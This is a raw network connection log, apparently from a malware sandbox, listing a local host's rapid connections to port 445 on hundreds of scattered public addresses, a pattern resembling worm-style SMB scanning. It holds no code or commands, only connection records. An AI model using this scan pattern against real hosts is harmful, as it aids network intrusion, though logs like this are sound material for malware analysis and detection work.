Jul 20, 2022 09:09:12.430658102 CEST	52512	445	192.168.2.6	165.29.158.229
Jul 20, 2022 09:09:12.431885958 CEST	52513	445	192.168.2.6	143.86.71.160
Jul 20, 2022 09:09:12.432626009 CEST	52514	445	192.168.2.6	191.79.254.166
Jul 20, 2022 09:09:12.433376074 CEST	52515	445	192.168.2.6	87.98.90.115
Jul 20, 2022 09:09:12.434226990 CEST	52516	445	192.168.2.6	45.199.202.91
Jul 20, 2022 09:09:12.435024977 CEST	52517	445	192.168.2.6	198.171.111.103
Jul 20, 2022 09:09:12.435750008 CEST	52518	445	192.168.2.6	116.87.211.0
Jul 20, 2022 09:09:12.436444044 CEST	52519	445	192.168.2.6	99.105.69.243
Jul 20, 2022 09:09:12.440555096 CEST	52521	445	192.168.2.6	148.100.188.66
Jul 20, 2022 09:09:12.463156939 CEST	52522	445	192.168.2.6	49.180.220.211
Jul 20, 2022 09:09:12.486963034 CEST	52524	445	192.168.2.6	204.121.205.220
Jul 20, 2022 09:09:12.487673044 CEST	52525	445	192.168.2.6	88.172.127.141
Jul 20, 2022 09:09:12.487730026 CEST	52526	445	192.168.2.6	100.80.123.134
Jul 20, 2022 09:09:12.487886906 CEST	52528	445	192.168.2.6	185.9.249.190
Jul 20, 2022 09:09:12.487989902 CEST	52529	445	192.168.2.6	82.36.81.204
Jul 20, 2022 09:09:12.488131046 CEST	52533	445	192.168.2.6	102.224.119.146
Jul 20, 2022 09:09:12.488149881 CEST	52532	445	192.168.2.6	219.172.54.6
Jul 20, 2022 09:09:12.488300085 CEST	52534	445	192.168.2.6	185.176.143.112
Jul 20, 2022 09:09:12.488325119 CEST	52535	445	192.168.2.6	120.204.128.248
Jul 20, 2022 09:09:12.523605108 CEST	52536	445	192.168.2.6	36.185.17.0
Jul 20, 2022 09:09:12.525958061 CEST	52539	445	192.168.2.6	146.151.11.193
Jul 20, 2022 09:09:12.527381897 CEST	52541	445	192.168.2.6	122.58.162.6
Jul 20, 2022 09:09:12.530033112 CEST	52545	445	192.168.2.6	160.28.196.208
Jul 20, 2022 09:09:12.533140898 CEST	52546	445	192.168.2.6	33.39.54.58
Jul 20, 2022 09:09:12.533859015 CEST	52547	445	192.168.2.6	26.124.247.98
Jul 20, 2022 09:09:12.534677982 CEST	52548	445	192.168.2.6	89.7.161.19
Jul 20, 2022 09:09:12.535394907 CEST	52549	445	192.168.2.6	11.186.111.31
Jul 20, 2022 09:09:12.576419115 CEST	52553	445	192.168.2.6	107.37.150.139
Jul 20, 2022 09:09:12.576560974 CEST	52554	445	192.168.2.6	157.212.101.127
Jul 20, 2022 09:09:12.576570034 CEST	52555	445	192.168.2.6	159.100.16.69
Jul 20, 2022 09:09:12.596340895 CEST	445	52555	159.100.16.69	192.168.2.6
Jul 20, 2022 09:09:12.715202093 CEST	445	52458	59.152.63.49	192.168.2.6
Jul 20, 2022 09:09:13.272686005 CEST	52555	445	192.168.2.6	159.100.16.69
Jul 20, 2022 09:09:13.292413950 CEST	445	52555	159.100.16.69	192.168.2.6
Jul 20, 2022 09:09:13.557794094 CEST	52565	445	192.168.2.6	160.86.243.144
Jul 20, 2022 09:09:13.557930946 CEST	52566	445	192.168.2.6	204.41.51.179
Jul 20, 2022 09:09:13.558180094 CEST	52567	445	192.168.2.6	113.101.134.0
Jul 20, 2022 09:09:13.558290958 CEST	52569	445	192.168.2.6	38.162.54.145
Jul 20, 2022 09:09:13.571636915 CEST	52570	445	192.168.2.6	31.187.73.68
Jul 20, 2022 09:09:13.572448969 CEST	52571	445	192.168.2.6	13.158.66.174
Jul 20, 2022 09:09:13.573182106 CEST	52572	445	192.168.2.6	59.32.76.221
Jul 20, 2022 09:09:13.579991102 CEST	52573	445	192.168.2.6	148.248.241.112
Jul 20, 2022 09:09:13.580729008 CEST	52574	445	192.168.2.6	144.55.99.186
Jul 20, 2022 09:09:13.580796957 CEST	52575	445	192.168.2.6	129.109.242.107
Jul 20, 2022 09:09:13.587328911 CEST	52576	445	192.168.2.6	2.186.19.246
Jul 20, 2022 09:09:13.609530926 CEST	52578	445	192.168.2.6	60.54.114.251
Jul 20, 2022 09:09:13.609838963 CEST	52580	445	192.168.2.6	140.201.119.248
Jul 20, 2022 09:09:13.609879017 CEST	52579	445	192.168.2.6	172.204.154.87
Jul 20, 2022 09:09:13.609983921 CEST	52581	445	192.168.2.6	111.206.179.50
Jul 20, 2022 09:09:13.610157013 CEST	52584	445	192.168.2.6	95.56.76.137
Jul 20, 2022 09:09:13.610241890 CEST	52586	445	192.168.2.6	211.165.143.161
Jul 20, 2022 09:09:13.610248089 CEST	52587	445	192.168.2.6	6.179.224.8
Jul 20, 2022 09:09:13.610363960 CEST	52588	445	192.168.2.6	134.137.28.214
Jul 20, 2022 09:09:13.610423088 CEST	52589	445	192.168.2.6	105.136.71.30
Jul 20, 2022 09:09:13.649178982 CEST	52590	445	192.168.2.6	215.128.172.127
Jul 20, 2022 09:09:13.652019024 CEST	52593	445	192.168.2.6	5.92.85.245
Jul 20, 2022 09:09:13.653475046 CEST	52595	445	192.168.2.6	172.198.197.115
Jul 20, 2022 09:09:13.655956030 CEST	52599	445	192.168.2.6	164.45.91.155
Jul 20, 2022 09:09:13.656514883 CEST	52600	445	192.168.2.6	57.47.209.129
Jul 20, 2022 09:09:13.657417059 CEST	52601	445	192.168.2.6	214.98.129.197
Jul 20, 2022 09:09:13.657987118 CEST	52602	445	192.168.2.6	29.104.227.252
Jul 20, 2022 09:09:13.658518076 CEST	52603	445	192.168.2.6	183.152.143.99
Jul 20, 2022 09:09:13.699584007 CEST	52607	445	192.168.2.6	86.91.122.250
Jul 20, 2022 09:09:13.699637890 CEST	52608	445	192.168.2.6	180.107.41.172
Jul 20, 2022 09:09:13.699855089 CEST	52610	445	192.168.2.6	68.79.78.211
Jul 20, 2022 09:09:13.772742033 CEST	51687	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:09:13.794222116 CEST	445	52565	160.86.243.144	192.168.2.6
Jul 20, 2022 09:09:13.846955061 CEST	52613	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:14.073472023 CEST	445	52613	201.187.246.4	192.168.2.6
Jul 20, 2022 09:09:14.075237036 CEST	52613	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:14.081067085 CEST	52615	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:14.310287952 CEST	445	52615	201.187.246.4	192.168.2.6
Jul 20, 2022 09:09:14.312561989 CEST	52615	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:14.460320950 CEST	52565	445	192.168.2.6	160.86.243.144
Jul 20, 2022 09:09:14.693892956 CEST	52621	445	192.168.2.6	4.214.134.104
Jul 20, 2022 09:09:14.694356918 CEST	445	52565	160.86.243.144	192.168.2.6
Jul 20, 2022 09:09:14.699660063 CEST	52623	445	192.168.2.6	91.247.244.235
Jul 20, 2022 09:09:14.700186014 CEST	52624	445	192.168.2.6	216.96.203.153
Jul 20, 2022 09:09:14.700731039 CEST	52625	445	192.168.2.6	209.2.26.112
Jul 20, 2022 09:09:14.701390028 CEST	52626	445	192.168.2.6	48.127.99.141
Jul 20, 2022 09:09:14.702178955 CEST	52627	445	192.168.2.6	46.245.253.143
Jul 20, 2022 09:09:14.703125000 CEST	52628	445	192.168.2.6	120.131.41.119
Jul 20, 2022 09:09:14.704906940 CEST	52629	445	192.168.2.6	147.211.39.5
Jul 20, 2022 09:09:14.705130100 CEST	52630	445	192.168.2.6	180.17.108.17
Jul 20, 2022 09:09:14.705146074 CEST	52631	445	192.168.2.6	185.222.83.188
Jul 20, 2022 09:09:14.712373972 CEST	52632	445	192.168.2.6	145.173.190.147
Jul 20, 2022 09:09:14.731033087 CEST	52633	445	192.168.2.6	140.117.125.147
Jul 20, 2022 09:09:14.731807947 CEST	52635	445	192.168.2.6	52.225.96.15
Jul 20, 2022 09:09:14.731873035 CEST	52636	445	192.168.2.6	35.103.43.71
Jul 20, 2022 09:09:14.732057095 CEST	52641	445	192.168.2.6	176.220.239.152
Jul 20, 2022 09:09:14.732152939 CEST	52642	445	192.168.2.6	102.17.218.30
Jul 20, 2022 09:09:14.732157946 CEST	52637	445	192.168.2.6	106.221.104.115
Jul 20, 2022 09:09:14.732265949 CEST	52644	445	192.168.2.6	128.186.198.136
Jul 20, 2022 09:09:14.732285976 CEST	52643	445	192.168.2.6	96.152.86.183
Jul 20, 2022 09:09:14.732403994 CEST	52645	445	192.168.2.6	38.181.92.225
Jul 20, 2022 09:09:14.761737108 CEST	52647	445	192.168.2.6	203.66.125.186
Jul 20, 2022 09:09:14.762701035 CEST	52648	445	192.168.2.6	180.56.19.25
Jul 20, 2022 09:09:14.765178919 CEST	52651	445	192.168.2.6	153.254.174.133
Jul 20, 2022 09:09:14.766518116 CEST	52653	445	192.168.2.6	110.201.104.254
Jul 20, 2022 09:09:14.769159079 CEST	52657	445	192.168.2.6	54.134.171.23
Jul 20, 2022 09:09:14.769845963 CEST	52658	445	192.168.2.6	204.209.229.252
Jul 20, 2022 09:09:14.770570040 CEST	52659	445	192.168.2.6	175.237.2.155
Jul 20, 2022 09:09:14.771473885 CEST	52660	445	192.168.2.6	223.14.85.107
Jul 20, 2022 09:09:14.804173946 CEST	52613	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:14.827975988 CEST	52661	445	192.168.2.6	172.169.105.129
Jul 20, 2022 09:09:14.828408003 CEST	52662	445	192.168.2.6	8.47.99.7
Jul 20, 2022 09:09:14.828809977 CEST	52666	445	192.168.2.6	220.38.168.34
Jul 20, 2022 09:09:15.069726944 CEST	52615	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:15.491693974 CEST	52613	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:15.772931099 CEST	52615	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:15.791205883 CEST	52676	445	192.168.2.6	49.162.39.135
Jul 20, 2022 09:09:15.807321072 CEST	52677	445	192.168.2.6	202.135.69.83
Jul 20, 2022 09:09:15.814810991 CEST	52678	445	192.168.2.6	202.64.0.66
Jul 20, 2022 09:09:15.814814091 CEST	52679	445	192.168.2.6	116.53.251.3
Jul 20, 2022 09:09:15.814887047 CEST	52680	445	192.168.2.6	128.156.144.160
Jul 20, 2022 09:09:15.814927101 CEST	52681	445	192.168.2.6	210.135.91.70
Jul 20, 2022 09:09:15.814950943 CEST	52682	445	192.168.2.6	103.249.141.202
Jul 20, 2022 09:09:15.815045118 CEST	52684	445	192.168.2.6	30.77.51.253
Jul 20, 2022 09:09:15.815058947 CEST	52683	445	192.168.2.6	192.83.43.124
Jul 20, 2022 09:09:15.815124989 CEST	52685	445	192.168.2.6	43.59.130.187
Jul 20, 2022 09:09:15.822328091 CEST	52687	445	192.168.2.6	111.249.181.60
Jul 20, 2022 09:09:15.852032900 CEST	52688	445	192.168.2.6	203.182.161.225
Jul 20, 2022 09:09:15.852637053 CEST	52689	445	192.168.2.6	104.19.202.167
Jul 20, 2022 09:09:15.853218079 CEST	52690	445	192.168.2.6	67.213.28.215
Jul 20, 2022 09:09:15.853764057 CEST	52691	445	192.168.2.6	191.6.9.141
Jul 20, 2022 09:09:15.854306936 CEST	52692	445	192.168.2.6	138.111.224.116
Jul 20, 2022 09:09:15.854841948 CEST	52693	445	192.168.2.6	115.144.178.43
Jul 20, 2022 09:09:15.857374907 CEST	52697	445	192.168.2.6	24.28.179.239
Jul 20, 2022 09:09:15.857981920 CEST	52698	445	192.168.2.6	45.87.234.131
Jul 20, 2022 09:09:15.859038115 CEST	52700	445	192.168.2.6	58.15.246.219
Jul 20, 2022 09:09:15.887835979 CEST	52702	445	192.168.2.6	156.207.218.0
Jul 20, 2022 09:09:15.887938976 CEST	52704	445	192.168.2.6	150.195.110.37
Jul 20, 2022 09:09:15.888039112 CEST	52707	445	192.168.2.6	68.58.189.101
Jul 20, 2022 09:09:15.888037920 CEST	52706	445	192.168.2.6	46.252.235.123
Jul 20, 2022 09:09:15.888133049 CEST	52710	445	192.168.2.6	112.198.5.206
Jul 20, 2022 09:09:15.888254881 CEST	52714	445	192.168.2.6	106.192.208.212
Jul 20, 2022 09:09:15.888273954 CEST	52713	445	192.168.2.6	163.109.21.142
Jul 20, 2022 09:09:15.888317108 CEST	52715	445	192.168.2.6	133.138.76.137
Jul 20, 2022 09:09:15.946938038 CEST	52716	445	192.168.2.6	204.76.30.248
Jul 20, 2022 09:09:15.949053049 CEST	52717	445	192.168.2.6	41.173.45.194
Jul 20, 2022 09:09:15.961633921 CEST	52721	445	192.168.2.6	5.184.217.118
Jul 20, 2022 09:09:16.898044109 CEST	52613	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:16.916387081 CEST	52731	445	192.168.2.6	42.183.169.247
Jul 20, 2022 09:09:16.916946888 CEST	52732	445	192.168.2.6	216.234.52.181
Jul 20, 2022 09:09:16.917458057 CEST	52733	445	192.168.2.6	119.169.131.49
Jul 20, 2022 09:09:16.918057919 CEST	52734	445	192.168.2.6	39.1.196.35
Jul 20, 2022 09:09:16.918531895 CEST	52735	445	192.168.2.6	94.190.233.70
Jul 20, 2022 09:09:16.919104099 CEST	52736	445	192.168.2.6	96.235.229.157
Jul 20, 2022 09:09:16.920418978 CEST	52737	445	192.168.2.6	117.204.223.229
Jul 20, 2022 09:09:16.921478033 CEST	52738	445	192.168.2.6	183.111.120.67
Jul 20, 2022 09:09:16.921617031 CEST	52740	445	192.168.2.6	171.72.212.10
Jul 20, 2022 09:09:16.921646118 CEST	52741	445	192.168.2.6	118.216.79.236
Jul 20, 2022 09:09:16.930197954 CEST	52742	445	192.168.2.6	175.132.247.198
Jul 20, 2022 09:09:16.964360952 CEST	52743	445	192.168.2.6	81.1.227.62
Jul 20, 2022 09:09:16.965543985 CEST	52744	445	192.168.2.6	29.9.20.79
Jul 20, 2022 09:09:16.967525959 CEST	52745	445	192.168.2.6	205.190.0.157
Jul 20, 2022 09:09:16.968135118 CEST	52746	445	192.168.2.6	99.242.149.63
Jul 20, 2022 09:09:16.968843937 CEST	52747	445	192.168.2.6	140.11.240.127
Jul 20, 2022 09:09:16.972259998 CEST	52752	445	192.168.2.6	202.67.111.175
Jul 20, 2022 09:09:16.972867012 CEST	52753	445	192.168.2.6	50.110.73.48
Jul 20, 2022 09:09:16.974037886 CEST	52755	445	192.168.2.6	36.137.6.178
Jul 20, 2022 09:09:17.024264097 CEST	52756	445	192.168.2.6	118.252.123.222
Jul 20, 2022 09:09:17.028640985 CEST	52761	445	192.168.2.6	147.31.137.155
Jul 20, 2022 09:09:17.028687000 CEST	52760	445	192.168.2.6	52.77.17.225
Jul 20, 2022 09:09:17.028769970 CEST	52762	445	192.168.2.6	145.252.159.235
Jul 20, 2022 09:09:17.028816938 CEST	52763	445	192.168.2.6	179.61.107.155
Jul 20, 2022 09:09:17.028913021 CEST	52765	445	192.168.2.6	219.89.194.238
Jul 20, 2022 09:09:17.029066086 CEST	52769	445	192.168.2.6	55.10.174.193
Jul 20, 2022 09:09:17.029078960 CEST	52770	445	192.168.2.6	186.219.237.213
Jul 20, 2022 09:09:17.061460018 CEST	52772	445	192.168.2.6	174.7.178.20
Jul 20, 2022 09:09:17.061569929 CEST	52775	445	192.168.2.6	183.122.58.0
Jul 20, 2022 09:09:17.070862055 CEST	52776	445	192.168.2.6	47.47.42.254
Jul 20, 2022 09:09:17.273030996 CEST	52615	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:18.038386106 CEST	52787	445	192.168.2.6	40.75.7.237
Jul 20, 2022 09:09:18.040435076 CEST	52788	445	192.168.2.6	117.175.243.90
Jul 20, 2022 09:09:18.040529013 CEST	52790	445	192.168.2.6	135.158.110.138
Jul 20, 2022 09:09:18.040599108 CEST	52792	445	192.168.2.6	95.46.33.28
Jul 20, 2022 09:09:18.040616035 CEST	52791	445	192.168.2.6	105.163.94.201
Jul 20, 2022 09:09:18.040704012 CEST	52793	445	192.168.2.6	187.196.54.219
Jul 20, 2022 09:09:18.040797949 CEST	52795	445	192.168.2.6	193.18.51.212
Jul 20, 2022 09:09:18.040800095 CEST	52794	445	192.168.2.6	97.102.68.96
Jul 20, 2022 09:09:18.040901899 CEST	52796	445	192.168.2.6	132.39.123.242
Jul 20, 2022 09:09:18.041095972 CEST	52797	445	192.168.2.6	111.65.228.236
Jul 20, 2022 09:09:18.055166960 CEST	52798	445	192.168.2.6	56.58.6.61
Jul 20, 2022 09:09:18.087111950 CEST	52799	445	192.168.2.6	212.148.198.138
Jul 20, 2022 09:09:18.089286089 CEST	52801	445	192.168.2.6	83.200.164.168
Jul 20, 2022 09:09:18.090054035 CEST	52802	445	192.168.2.6	203.6.89.131
Jul 20, 2022 09:09:18.092561007 CEST	52806	445	192.168.2.6	156.174.54.5
Jul 20, 2022 09:09:18.093154907 CEST	52807	445	192.168.2.6	125.166.155.198
Jul 20, 2022 09:09:18.093688011 CEST	52808	445	192.168.2.6	13.171.129.118
Jul 20, 2022 09:09:18.094336987 CEST	52809	445	192.168.2.6	80.207.20.186
Jul 20, 2022 09:09:18.094899893 CEST	52810	445	192.168.2.6	9.0.97.2
Jul 20, 2022 09:09:18.095540047 CEST	52811	445	192.168.2.6	210.36.71.172
Jul 20, 2022 09:09:18.151537895 CEST	52812	445	192.168.2.6	49.231.173.218
Jul 20, 2022 09:09:18.154802084 CEST	52813	445	192.168.2.6	218.83.142.144
Jul 20, 2022 09:09:18.154995918 CEST	52818	445	192.168.2.6	93.16.4.2
Jul 20, 2022 09:09:18.155031919 CEST	52816	445	192.168.2.6	193.75.203.148
Jul 20, 2022 09:09:18.155113935 CEST	52821	445	192.168.2.6	63.49.78.28
Jul 20, 2022 09:09:18.155128956 CEST	52820	445	192.168.2.6	62.155.58.239
Jul 20, 2022 09:09:18.155200005 CEST	52822	445	192.168.2.6	85.152.58.246
Jul 20, 2022 09:09:18.155337095 CEST	52825	445	192.168.2.6	200.3.114.204
Jul 20, 2022 09:09:18.181143045 CEST	52827	445	192.168.2.6	5.120.106.229
Jul 20, 2022 09:09:18.184465885 CEST	52832	445	192.168.2.6	90.15.27.101
Jul 20, 2022 09:09:18.185193062 CEST	52833	445	192.168.2.6	219.5.195.40
Jul 20, 2022 09:09:18.303663015 CEST	445	52807	125.166.155.198	192.168.2.6
Jul 20, 2022 09:09:18.804464102 CEST	52807	445	192.168.2.6	125.166.155.198
Jul 20, 2022 09:09:19.015263081 CEST	445	52807	125.166.155.198	192.168.2.6
Jul 20, 2022 09:09:19.240130901 CEST	52839	445	192.168.2.6	88.243.51.168
Jul 20, 2022 09:09:19.240834951 CEST	52840	445	192.168.2.6	177.209.90.101
Jul 20, 2022 09:09:19.241636038 CEST	52841	445	192.168.2.6	123.160.83.145
Jul 20, 2022 09:09:19.322779894 CEST	52842	445	192.168.2.6	168.171.43.200
Jul 20, 2022 09:09:19.323945999 CEST	52843	445	192.168.2.6	122.147.24.233
Jul 20, 2022 09:09:19.324995041 CEST	52844	445	192.168.2.6	20.142.15.174
Jul 20, 2022 09:09:19.325988054 CEST	52845	445	192.168.2.6	115.21.144.219
Jul 20, 2022 09:09:19.327208042 CEST	52846	445	192.168.2.6	193.193.38.129
Jul 20, 2022 09:09:19.328280926 CEST	52847	445	192.168.2.6	162.26.96.104
Jul 20, 2022 09:09:19.329684019 CEST	52849	445	192.168.2.6	109.59.243.87
Jul 20, 2022 09:09:19.330364943 CEST	52850	445	192.168.2.6	63.154.201.150
Jul 20, 2022 09:09:19.338794947 CEST	52855	445	192.168.2.6	86.139.238.93
Jul 20, 2022 09:09:19.339550972 CEST	52856	445	192.168.2.6	192.23.7.26
Jul 20, 2022 09:09:19.342223883 CEST	52860	445	192.168.2.6	79.32.79.143
Jul 20, 2022 09:09:19.342932940 CEST	52861	445	192.168.2.6	213.116.201.131
Jul 20, 2022 09:09:19.344331980 CEST	52863	445	192.168.2.6	169.8.10.93
Jul 20, 2022 09:09:19.357300997 CEST	52864	445	192.168.2.6	49.224.162.43
Jul 20, 2022 09:09:19.361128092 CEST	52869	445	192.168.2.6	95.87.190.178
Jul 20, 2022 09:09:19.362117052 CEST	52870	445	192.168.2.6	156.40.57.139
Jul 20, 2022 09:09:19.363563061 CEST	52872	445	192.168.2.6	98.195.184.130
Jul 20, 2022 09:09:19.458934069 CEST	445	52842	168.171.43.200	192.168.2.6
Jul 20, 2022 09:09:19.556335926 CEST	52873	445	192.168.2.6	32.227.169.18
Jul 20, 2022 09:09:19.558098078 CEST	52877	445	192.168.2.6	198.213.242.231
Jul 20, 2022 09:09:19.558216095 CEST	52879	445	192.168.2.6	86.252.215.138
Jul 20, 2022 09:09:19.558294058 CEST	52880	445	192.168.2.6	131.104.224.148
Jul 20, 2022 09:09:19.558387041 CEST	52881	445	192.168.2.6	184.137.192.205
Jul 20, 2022 09:09:19.558485985 CEST	52883	445	192.168.2.6	40.36.181.226
Jul 20, 2022 09:09:19.558605909 CEST	52886	445	192.168.2.6	144.194.86.39
Jul 20, 2022 09:09:19.558691978 CEST	52887	445	192.168.2.6	113.51.22.210
Jul 20, 2022 09:09:19.558775902 CEST	52888	445	192.168.2.6	39.85.34.170
Jul 20, 2022 09:09:19.558854103 CEST	52889	445	192.168.2.6	8.239.93.235
Jul 20, 2022 09:09:19.558921099 CEST	52890	445	192.168.2.6	9.141.207.9
Jul 20, 2022 09:09:19.601418018 CEST	52613	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:19.960819006 CEST	52842	445	192.168.2.6	168.171.43.200
Jul 20, 2022 09:09:20.070220947 CEST	52615	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:20.098609924 CEST	445	52842	168.171.43.200	192.168.2.6
Jul 20, 2022 09:09:20.773395061 CEST	52842	445	192.168.2.6	168.171.43.200
Jul 20, 2022 09:09:20.909447908 CEST	445	52842	168.171.43.200	192.168.2.6
Jul 20, 2022 09:09:20.945744038 CEST	52896	445	192.168.2.6	2.232.195.119
Jul 20, 2022 09:09:20.946286917 CEST	52897	445	192.168.2.6	144.35.43.188
Jul 20, 2022 09:09:20.946841955 CEST	52898	445	192.168.2.6	195.67.145.190
Jul 20, 2022 09:09:20.992913961 CEST	52899	445	192.168.2.6	94.71.124.48
Jul 20, 2022 09:09:21.116002083 CEST	52908	445	192.168.2.6	125.20.175.152
Jul 20, 2022 09:09:21.120109081 CEST	52912	445	192.168.2.6	185.156.197.140
Jul 20, 2022 09:09:21.121956110 CEST	52914	445	192.168.2.6	56.111.74.0
Jul 20, 2022 09:09:21.122766018 CEST	52915	445	192.168.2.6	107.245.121.220
Jul 20, 2022 09:09:21.123527050 CEST	52916	445	192.168.2.6	64.207.136.146
Jul 20, 2022 09:09:21.124967098 CEST	52918	445	192.168.2.6	11.198.134.160
Jul 20, 2022 09:09:21.127007008 CEST	52921	445	192.168.2.6	113.127.143.234
Jul 20, 2022 09:09:21.127751112 CEST	52922	445	192.168.2.6	46.60.151.239
Jul 20, 2022 09:09:21.128508091 CEST	52923	445	192.168.2.6	159.149.60.214
Jul 20, 2022 09:09:21.129246950 CEST	52924	445	192.168.2.6	124.14.83.136
Jul 20, 2022 09:09:21.130362988 CEST	52925	445	192.168.2.6	217.178.69.90
Jul 20, 2022 09:09:21.131165028 CEST	52926	445	192.168.2.6	146.251.235.47
Jul 20, 2022 09:09:21.132591009 CEST	52928	445	192.168.2.6	172.197.37.56
Jul 20, 2022 09:09:21.133979082 CEST	52929	445	192.168.2.6	75.36.35.55
Jul 20, 2022 09:09:21.137459040 CEST	52934	445	192.168.2.6	96.188.245.11
Jul 20, 2022 09:09:21.139184952 CEST	52935	445	192.168.2.6	57.189.183.229
Jul 20, 2022 09:09:21.139235020 CEST	52936	445	192.168.2.6	198.63.113.101
Jul 20, 2022 09:09:21.142014027 CEST	52940	445	192.168.2.6	153.233.236.120
Jul 20, 2022 09:09:21.142791986 CEST	52941	445	192.168.2.6	199.113.47.124
Jul 20, 2022 09:09:21.144203901 CEST	52943	445	192.168.2.6	36.36.64.137
Jul 20, 2022 09:09:21.144932032 CEST	52944	445	192.168.2.6	112.83.7.235
Jul 20, 2022 09:09:21.145689011 CEST	52945	445	192.168.2.6	154.181.135.79
Jul 20, 2022 09:09:21.146748066 CEST	52946	445	192.168.2.6	156.7.165.143
Jul 20, 2022 09:09:21.147640944 CEST	52947	445	192.168.2.6	167.105.7.115
Jul 20, 2022 09:09:21.149368048 CEST	52949	445	192.168.2.6	115.118.186.231
Jul 20, 2022 09:09:21.150789022 CEST	52951	445	192.168.2.6	92.93.93.242
Jul 20, 2022 09:09:21.151815891 CEST	52948	445	192.168.2.6	85.66.16.57
Jul 20, 2022 09:09:21.340610027 CEST	445	52945	154.181.135.79	192.168.2.6
Jul 20, 2022 09:09:21.898531914 CEST	52945	445	192.168.2.6	154.181.135.79
Jul 20, 2022 09:09:22.074301958 CEST	52954	445	192.168.2.6	186.228.216.18
Jul 20, 2022 09:09:22.074546099 CEST	52955	445	192.168.2.6	23.187.87.52
Jul 20, 2022 09:09:22.074659109 CEST	52956	445	192.168.2.6	126.157.179.30
Jul 20, 2022 09:09:22.120162964 CEST	52957	445	192.168.2.6	212.67.151.56
Jul 20, 2022 09:09:22.188523054 CEST	445	52945	154.181.135.79	192.168.2.6
Jul 20, 2022 09:09:22.229438066 CEST	52964	445	192.168.2.6	72.121.13.231
Jul 20, 2022 09:09:22.230972052 CEST	52966	445	192.168.2.6	21.204.10.183
Jul 20, 2022 09:09:22.231614113 CEST	52967	445	192.168.2.6	189.14.12.62
Jul 20, 2022 09:09:22.232160091 CEST	52968	445	192.168.2.6	130.98.245.44
Jul 20, 2022 09:09:22.233268976 CEST	52970	445	192.168.2.6	195.81.178.180
Jul 20, 2022 09:09:22.278712988 CEST	52973	445	192.168.2.6	111.158.180.224
Jul 20, 2022 09:09:22.278923988 CEST	52974	445	192.168.2.6	172.253.184.90
Jul 20, 2022 09:09:22.279580116 CEST	52976	445	192.168.2.6	209.211.133.184
Jul 20, 2022 09:09:22.279608965 CEST	52975	445	192.168.2.6	138.26.227.17
Jul 20, 2022 09:09:22.279720068 CEST	52977	445	192.168.2.6	219.159.134.218
Jul 20, 2022 09:09:22.279730082 CEST	52978	445	192.168.2.6	82.176.150.120
Jul 20, 2022 09:09:22.280011892 CEST	52984	445	192.168.2.6	165.16.151.179
Jul 20, 2022 09:09:22.286911964 CEST	52987	445	192.168.2.6	125.235.79.19
Jul 20, 2022 09:09:22.286948919 CEST	52988	445	192.168.2.6	13.6.107.109
Jul 20, 2022 09:09:22.287045956 CEST	52989	445	192.168.2.6	42.145.107.189
Jul 20, 2022 09:09:22.287132025 CEST	52991	445	192.168.2.6	179.157.86.80
Jul 20, 2022 09:09:22.287146091 CEST	52990	445	192.168.2.6	14.157.100.65
Jul 20, 2022 09:09:22.287281990 CEST	52992	445	192.168.2.6	151.201.100.229
Jul 20, 2022 09:09:22.287332058 CEST	52994	445	192.168.2.6	125.96.239.26
Jul 20, 2022 09:09:22.287549973 CEST	52995	445	192.168.2.6	203.205.71.195
Jul 20, 2022 09:09:22.287568092 CEST	53000	445	192.168.2.6	122.34.112.227
Jul 20, 2022 09:09:22.287584066 CEST	52999	445	192.168.2.6	56.145.6.183
Jul 20, 2022 09:09:22.287710905 CEST	53001	445	192.168.2.6	104.90.146.234
Jul 20, 2022 09:09:22.287833929 CEST	53006	445	192.168.2.6	113.185.116.141
Jul 20, 2022 09:09:22.287913084 CEST	53007	445	192.168.2.6	202.184.80.45
Jul 20, 2022 09:09:22.288516998 CEST	53008	445	192.168.2.6	19.194.88.240
Jul 20, 2022 09:09:22.288553953 CEST	53009	445	192.168.2.6	60.227.123.117
Jul 20, 2022 09:09:22.334611893 CEST	445	52940	153.233.236.120	192.168.2.6
Jul 20, 2022 09:09:22.382630110 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.382678032 CEST	443	53010	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:22.382787943 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.384305000 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.384318113 CEST	443	53010	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:22.455890894 CEST	445	52967	189.14.12.62	192.168.2.6
Jul 20, 2022 09:09:22.474981070 CEST	443	53010	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:22.475095034 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.490873098 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.490907907 CEST	443	53010	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:22.491311073 CEST	443	53010	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:22.498595953 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.498665094 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.498677969 CEST	443	53010	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:22.498853922 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.529290915 CEST	443	53010	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:22.529402971 CEST	443	53010	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:22.529484987 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.529582024 CEST	53010	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:09:22.529601097 CEST	443	53010	20.199.120.85	192.168.2.6
Jul 20, 2022 09:09:23.101763010 CEST	52967	445	192.168.2.6	189.14.12.62
Jul 20, 2022 09:09:23.181618929 CEST	53013	445	192.168.2.6	210.77.62.171
